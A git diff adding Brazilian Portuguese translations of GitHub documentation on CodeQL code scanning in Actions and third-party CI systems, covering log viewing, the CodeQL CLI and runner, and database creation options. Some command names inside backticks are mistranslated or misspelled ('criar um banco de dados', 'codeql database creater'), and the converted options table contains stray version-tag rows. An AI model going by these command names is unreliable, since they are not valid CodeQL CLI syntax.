+## Visualizar a saída do registro de {% data variables.product.prodname_code_scanning %}
 
-This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party).
+Esta seção aplica-se à execução de {% data variables.product.prodname_code_scanning %} usando {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} ou terceiros).
 
-After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
+Depois de configurar o {% data variables.product.prodname_code_scanning %} para o seu repositório, você poderá inspecionar a saída das ações conforme forem executadas.
 
 {% data reusables.repositories.actions-tab %}
 
-  You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
+  Você verá uma lista que inclui uma entrada para executar o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}. O texto da entrada é o título que você deu à sua mensagem de commit.
 
-  ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
+  ![Lista de ações que mostram o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-actions-list.png)
 
-1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
+1. Clique na entrada para o fluxo de trabalho de {% data variables.product.prodname_code_scanning %}.
 
-2. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
+2. Clique no nome do trabalho à esquerda. Por exemplo, **Analise (LANGUAGE)**.
 
-  ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
+  ![Saída do log do fluxo de trabalho de {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
 
-1. Review the logging output from the actions in this workflow as they run.
+1. Revise a saída de log das ações deste fluxo de trabalho enquanto elas são executadas.
 
-1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+1. Depois que todos os trabalhos forem concluídos, você poderá visualizar os as informações dos alertas de {% data variables.product.prodname_code_scanning %} que foram identificados. Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)".
 
 {% note %}
 
-**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
+**Observação:** Se você criou um pull request para adicionar o fluxo de trabalho de {% data variables.product.prodname_code_scanning %} ao repositório, os alertas desse pull request não serão exibidos diretamente na página de {% data variables.product.prodname_code_scanning_capc %} até que o pull request seja mesclado. Se algum alerta for encontrado, você poderá visualizá-los, antes do merge do pull request, clicando no link dos **_n_ alertas encontrados** no banner na página de {% data variables.product.prodname_code_scanning_capc %}.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-  ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
+  ![Clique no link "n alertas encontrados"](/assets/images/help/repository/code-scanning-alerts-found-link.png)
 {% else %}
-  ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
+  ![Clique no link "n alertas encontrados"](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png)
 {% endif %}
 
 {% endnote %}
diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
index c8ad424e59..f8e01eb90f 100644
--- a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
+++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: About CodeQL code scanning in your CI system
-shortTitle: Code scanning in your CI
-intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.product.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.'
+title: Sobre a varredura de código de CodeQL no seu sistema de CI
+shortTitle: Varredura de código na sua CI
+intro: 'Você pode analisar o seu código com {% data variables.product.prodname_codeql %} em um sistema de integração contínua de terceiros e fazer o upload dos resultados para {% data variables.product.product_location %}. Os alertas de {% data variables.product.prodname_code_scanning %} resultantes são exibidos junto com todos os alertas gerados dentro de {% data variables.product.product_name %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -21,14 +21,15 @@ redirect_from:
   - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system
   - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
 ---
+
 <!--UI-LINK: When GitHub Enterprise Server 3.1+ doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
+## Sobre {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} no seu sistema de CI
 
-{% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
+{% data reusables.code-scanning.about-code-scanning %} Para obter informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %} com {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
 
 {% data reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %}
 
@@ -39,17 +40,17 @@ redirect_from:
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## About the {% data variables.product.prodname_codeql_cli %}
+## Sobre o {% data variables.product.prodname_codeql_cli %}
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+Use {% data variables.product.prodname_codeql_cli %} para analisar:
 
-- Dynamic languages, for example, JavaScript and Python.
-- Compiled languages, for example, C/C++, C# and Java.
-- Codebases written in a mixture of languages.
+- Linguagens dinâmicas, por exemplo, JavaScript e Python.
+- Linguagens compiladas, por exemplo, C/C++, C# e Java.
+- Bases de código em uma mistura de linguagens.
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+Para obter mais informações, consulte "[Instalar {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)".
 
 {% data reusables.code-scanning.licensing-note %}
 
@@ -66,28 +67,28 @@ For more information, see "[Installing {% data variables.product.prodname_codeql
 
 <!--Content for GHES 3.1 only. Both CodeQL CLI and CodeQL runner are available -->
 {% ifversion ghes = 3.1 %}
-You add the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+Se você adicionar {% data variables.product.prodname_codeql_cli %} ou {% data variables.product.prodname_codeql_runner %} ao seu sistema de terceiros, chame a ferramenta para analisar o código e fazer o upload dos resultados SARIF para {% data variables.product.product_name %}. Os alertas de {% data variables.product.prodname_code_scanning %} resultantes são exibidos junto com todos os alertas gerados dentro de {% data variables.product.product_name %}.
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## Comparing {% data variables.product.prodname_codeql_cli %} and {% data variables.product.prodname_codeql_runner %}
+## Comparar {% data variables.product.prodname_codeql_cli %} e {% data variables.product.prodname_codeql_runner %}
 
 {% data reusables.code-scanning.what-is-codeql-cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is a command-line tool that uses the {% data variables.product.prodname_codeql_cli %} to analyze code and upload the results to {% data variables.product.product_name %}. The tool mimics the analysis run natively within {% data variables.product.product_name %} using actions. The runner is able to integrate with more complex build environments than the CLI, but this ability makes it more difficult and error-prone to set up. It is also more difficult to debug any problems. Generally, it is better to use the {% data variables.product.prodname_codeql_cli %} directly unless it doesn't support your use case.
+A {% data variables.product.prodname_codeql_runner %} é uma ferramenta de linha de comando que utiliza o {% data variables.product.prodname_codeql_cli %} para analisar o código e fazer o upload dos resultados para {% data variables.product.product_name %}. A ferramenta imita a análise executada nativamente dentro de {% data variables.product.product_name %} usando ações. O executor é capaz de integrar-se a ambientes de compilação mais complexos do que o CLI, mas esta capacidade torna mais difícil e suscetível de erros de configuração. É também mais difícil depurar quaisquer problemas. De modo geral, é melhor usar {% data variables.product.prodname_codeql_cli %} diretamente a menos que não seja compatível com o seu caso de uso.
 
-Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+Use {% data variables.product.prodname_codeql_cli %} para analisar:
 
-- Dynamic languages, for example, JavaScript and Python.
-- Codebases with a compiled language that can be built with a single command or by running a single script.
+- Linguagens dinâmicas, por exemplo, JavaScript e Python.
+- Bases de código com uma linguagem compilada que pode ser construída com um único comando ou executando um único script.
 
-For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+Para obter mais informações, consulte "[Instalar {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)".
 
 {% data reusables.code-scanning.use-codeql-runner-not-cli %}
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+Para obter mais informações, consulte "[Executar o {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)".
 
 {% endif %}
 
@@ -95,9 +96,9 @@ For more information, see "[Running {% data variables.product.prodname_codeql_ru
 {% ifversion ghes = 3.0 %}
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-You add the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.
+Se você adicionar {% data variables.product.prodname_codeql_runner %} ao seu sistema de terceiros, chame a ferramenta para analisar o código e fazer o upload dos resultados do SARIF para {% data variables.product.product_name %}. Os alertas de {% data variables.product.prodname_code_scanning %} resultantes são exibidos junto com todos os alertas gerados dentro de {% data variables.product.product_name %}.
 
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-To set up code scanning in your CI system, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+Para configurar a verificação de código no seu sistema de CI, consulte "[Executando {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)".
 {% endif %}
diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
index fba109bb62..a6363e914f 100644
--- a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
+++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring CodeQL CLI in your CI system
-shortTitle: Configure CodeQL CLI
-intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.'
+title: Configurando a CLI do CodeQL no seu sistema de CI
+shortTitle: Configurar a CLI do CodeQL
+intro: 'Você pode configurar seu sistema de integração contínua para executar o {% data variables.product.prodname_codeql_cli %}, realizar análise de {% data variables.product.prodname_codeql %} e fazer o upload dos resultados para {% data variables.product.product_name %} para exibição como os alertas de {% data variables.product.prodname_code_scanning %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -22,38 +22,39 @@ topics:
   - CI
   - SARIF
 ---
+
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About generating code scanning results with {% data variables.product.prodname_codeql_cli %}
+## Sobre como gerar resultados de varredura de código com {% data variables.product.prodname_codeql_cli %}
 
-Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data.
+Uma vez disponibilizado o {% data variables.product.prodname_codeql_cli %} para servidores o seu sistema de CI e após garantir ele possa ser autenticado com {% data variables.product.product_name %}, você estárá pronto para gerar dados.
 
-You use three different commands to generate results and upload them to {% data variables.product.product_name %}:
+Você usa três comandos diferentes para gerar resultados e fazer o upload deles para {% data variables.product.product_name %}:
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 <!--Option to analyze multiple languages with one call-->
-1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository.
-2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file.
-3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts.
+1. `criar um banco de dados` para criar um banco de dados de {% data variables.product.prodname_codeql %} para representar a estrutura hierárquica de cada linguagem de programação compatível no repositório.
+2. `análise do banco de dados` para executar consultas para analisar cada banco de dados de {% data variables.product.prodname_codeql %} e resumir os resultados em um arquivo SARIF.
+3. `github upload-results` para fazer o upload dos arquivos SARIF resultantes para {% data variables.product.product_name %} em que os resultados são correspondentes a um branch ou pull request e exibidos como alertas de {% data variables.product.prodname_code_scanning %}.
 {% else %}
 <!--Only one language can be analyzed-->
-1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of a supported programming language in the repository.
-2. ` database analyze` to run queries to analyze the {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file.
-3. `github upload-results` to upload the resulting SARIF file to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts.
+1. `database create` para criar um banco de dados {% data variables.product.prodname_codeql %} para representar a estrutura hierárquica de uma linguagem de programação compatível com o repositório.
+2. `database analyze` para executar consultas a fim de analisar o banco de dados {% data variables.product.prodname_codeql %} e resumir os resultados em um arquivo SARIF.
+3. `github upload-results` para fazer o upload do arquivo SARIF resultante para {% data variables.product.product_name %} em que os resultados são correspondentes a um branch ou pull request e exibidos como alertas de {% data variables.product.prodname_code_scanning %}.
 {% endif %}
 
-You can display the command-line help for any command using the <nobr>`--help`</nobr> option.
+Você pode mostrar a ajuda de linha de comando para qualquer comando usando <nobr>`--help`</nobr> opção.
 
 {% data reusables.code-scanning.upload-sarif-ghas %}
 
-## Creating {% data variables.product.prodname_codeql %} databases to analyze
+## Criando bancos de dados de {% data variables.product.prodname_codeql %} para analisar
 
-1. Check out the code that you want to analyze:
-    - For a branch, check out the head of the branch that you want to analyze.
-    - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request.
-2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
-3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system.
-4. Run `codeql database create` from the checkout root of your repository and build the codebase. 
+1. Confira o código que você deseja analisar:
+    - Para um branch, confira o cabeçalho do branch que você deseja analisar.
+    - Para um pull request, faça o checkout do commit principal do pull request, ou confira um commit do pull request gerado por {% data variables.product.prodname_dotcom %}.
+2. Defina o ambiente para a base de código, garantindo que quaisquer dependências estejam disponíveis. Para mais informações, consulte [Criando bancos de dados para linguagens não compiladas](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) e [Criando bancos de dados para linguagens compiladas](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) na documentação do {% data variables.product.prodname_codeql_cli %}.
+3. Encontre o comando de criação, se houver, para a base de código. Normalmente, ele está disponível em um arquivo de configuração no sistema de CI.
+4. Execute `codeql database creater` a partir da raiz de checkout do seu repositório e construa a base de código.
   {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
   ```shell
   # Single supported language - create one CodeQL databsae
@@ -70,24 +71,147 @@ You can display the command-line help for any command using the <nobr>`--help`</
   {% endif %}
   {% note %}
 
-  **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place.
+  **Observação:** Se você usar uma criação conteinerizada, você deverá executar o {% data variables.product.prodname_codeql_cli %} no contêiner em que ocorre a tarefa de criação.
 
   {% endnote %}
 
-| Option | Required | Usage |
-|--------|:--------:|-----|
-| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.|
-| <nobr>`--language`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). {% ifversion fpt or ghes > 3.1 or ghae or ghec %}When used with <nobr>`--db-cluster`</nobr>, the option accepts a comma-separated list, or can be specified more than once.{% endif %}
-| <nobr>`--command`</nobr> | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from <nobr>`--source-root`</nobr>. Not needed for Python and JavaScript/TypeScript analysis. | {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| <nobr>`--db-cluster`</nobr> | | Optional. Use in multi-language codebases to generate one database for each language specified by <nobr>`--language`</nobr>.
-| <nobr>`--no-run-unnecessary-builds`</nobr> | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). {% endif %}
-| <nobr>`--source-root`</nobr> | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. |
+<table spaces-before="0">
+  <tr>
+    <th>
+      Opção
+    </th>
+    
+    <th align="center">
+      Obrigatório
+    </th>
+    
+    <th>
+      Uso
+    </th>
+  </tr>
+  
+  <tr>
+    <td>
+      <code>&lt;database&gt;</code>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o nome e local de um diretório a ser criado para o banco de dados de {% data variables.product.prodname_codeql %}. O comando irá falhar se você tentar substituir um diretório existente. Se você também especificar <code>--db-cluster</code>, este será o diretório principal e um subdiretório será criado para cada linguagem analisada.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--language`</nobr>
+    </td>
+    
+    <td align="center">
+      {% octicon "check-circle-fill" aria-label="Required" %}
+    </td>
+    
+    <td>
+      Especifique o identificador para a linguagem para criar um banco de dados: <code>{% data reusables.code-scanning.codeql-languages-keywords %}</code> (use <code>javascript</code> para analisar o código TypeScript).
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      {% ifversion fpt or ghes > 3.1 or ghae or ghec %}When used with <nobr>`--db-cluster`</nobr>, a opção aceita uma lista separada por vírgulas, ou pode ser especificada mais de uma vez.{% endif %}
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--command`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Recomendado. Use para especificar o comando de criação ou o script que invoca o processo de criação para a base de código. Os comandos são executados a partir da pasta atual ou de onde são definidos, a partir de <nobr>`--source-root`</nobr>. Não é necessário para análise de Python e JavaScript/TypeScript.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--db-cluster`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use em bases de código linguagem múltipla para gerar um banco de dados para cada linguagem especificada por <nobr>`--language`</nobr>.
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--no-run-unnecessary-builds`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Recomendado. Use para suprimir o comando de compilação para linguagens em que {% data variables.product.prodname_codeql_cli %} não precisa monitorar a criação (por exemplo, Python e JavaScript/TypeScript).
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      {% endif %}
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+    </td>
+  </tr>
+  
+  <tr>
+    <td>
+      <nobr>`--source-root`</nobr>
+    </td>
+    
+    <td align="center">
+    </td>
+    
+    <td>
+      Opcional. Use se você executar a CLI fora da raiz do check-out do repositório. Por padrão, o comando <code>criação de banco de dados</code> supõe que o diretório atual é o diretório raiz para os arquivos de origem, use esta opção para especificar uma localidade diferente.
+    </td>
+  </tr>
+</table>
 
-For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+Para obter mais informações, consulte [Criar bancos de dados de {% data variables.product.prodname_codeql %} ](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) na documentação para o {% data variables.product.prodname_codeql_cli %}.
 
-### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Single language example{% else %}Basic example{% endif %}
+### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Exemplo de linguagem única{% else %}Exemplo básico{% endif %}
 
-This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`.
+Este exemplo cria um banco de dados de {% data variables.product.prodname_codeql %} para o repositório verificado em `/checkouts/example-repo`. Ele usa o extrator do JavaScript para criar uma representação hierárquica do código JavaScript e TypeScript no repositório. O banco de dados resultante é armazenado em `/codeql-dbs/example-repo`.
 
 ```
 $ codeql database create /codeql-dbs/example-repo --language=javascript \
@@ -104,16 +228,16 @@ $ codeql database create /codeql-dbs/example-repo --language=javascript \
 ```
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-### Multiple language example
+### Exemplo de linguagem múltipla
 
-This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses:
+Este exemplo cria dois bancos de dados de {% data variables.product.prodname_codeql %} para o repositório verificado em `/checkouts/example-repo-multi`. Ela usa:
 
-- `--db-cluster` to request analysis of more than one language.
-- `--language` to specify which languages to create databases for.
-- `--command` to tell the tool the build command for the codebase, here `make`.
-- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python).
+- `--db-cluster` para solicitar análise de mais de uma linguagem.
+- `--language` para especificar para quais linguagens criar bancos de dados.
+- `--command` para dizer a ferramenta que o comando de compilação para a base de código. Nesse caso, `make`.
+- `--no-run-unnecessary-builds` para informar a ferramenta que ignore o comando de criação para linguagens em que não é necessário (como Python).
 
-The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`.
+Os bancos de dados resultantes são armazenados em `python` e nos subdiretórios `cpp` e `/codeql-dbs/example-repo-multi`.
 
 ```
 $ codeql database create /codeql-dbs/example-repo-multi \
@@ -131,20 +255,20 @@ Running build command: [make]
 [build-stdout] [INFO] Processed 1 modules in 0.15s
 [build-stdout] <output from calling 'make' to build the C/C++ code>
 Finalizing databases at /codeql-dbs/example-repo-multi.
-Successfully created databases at /codeql-dbs/example-repo-multi.
+Banco de dados criado com sucesso em /codeql-dbs/example-repo-multi.
 $
 ```
 {% endif %}
 
-## Analyzing a {% data variables.product.prodname_codeql %} database
+## Analisando um banco de dados de {% data variables.product.prodname_codeql %}
 
-1. Create a {% data variables.product.prodname_codeql %} database (see above).{% if codeql-packs %}
-2. Optional, run `codeql pack download` to download any {% data variables.product.prodname_codeql %} packs (beta) that you want to run during analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} query packs](#downloading-and-using-codeql-query-packs)" below.
+1. Criar um banco de dados de {% data variables.product.prodname_codeql %} (ver acima).{% if codeql-packs %}
+2. Opcional, execute `codeql pack download` para fazer o download de quaisquer pacotes (beta) de {% data variables.product.prodname_codeql %} que você deseja executar durante a análise. Para obter mais informações, consulte "[Fazer o download e usando pacotes de consulta de {% data variables.product.prodname_codeql %} pacotes de consulta](#downloading-and-using-codeql-query-packs)" abaixo.
     ```shell
     codeql pack download &lt;packs&gt; 
     ```
     {% endif %}
-3. Run `codeql database analyze` on the database and specify which {% if codeql-packs %}packs and/or {% endif %}queries to use.
+3. Executar `codeql database analyze` no banco de dados e especifique quais {% if codeql-packs %}pacotes e/ou {% endif %}consultas devem ser usados.
   ```shell
   codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
       --output=&lt;output&gt;  {% if codeql-packs %}&lt;packs,queries&gt;{% else %} &lt;queries&gt;{% endif %} 
@@ -153,7 +277,7 @@ $
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 {% note %}
 
-**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results.
+**Observação:** Se você analisar mais de um banco de dados de {% data variables.product.prodname_codeql %} para um único commit, você deverá especificar uma categoria SARIF para cada conjunto de resultados gerados por este comando. Ao fazer o upload dos resultados para {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} usa essa categoria para armazenar os resultados para cada linguagem separadamente. Se você esquecer de fazer isso, cada upload irá substituir os resultados anteriores.
 
 ```shell
 codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
@@ -161,26 +285,151 @@ codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
     {% if codeql-packs %}&lt;packs,queries&gt;{% else %}&lt;queries&gt;{% endif %}
 ```
 {% endnote %}
+
 {% endif %}
-
-| Option | Required | Usage |
-|--------|:--------:|-----|
-| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. |
-| `<packs,queries>` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `/<extraction-root>/codeql/qlpacks/codeql-<language>/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
-| <nobr>`--format`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)."
-| <nobr>`--output`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| <nobr>`--sarif-category`<nobr> | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
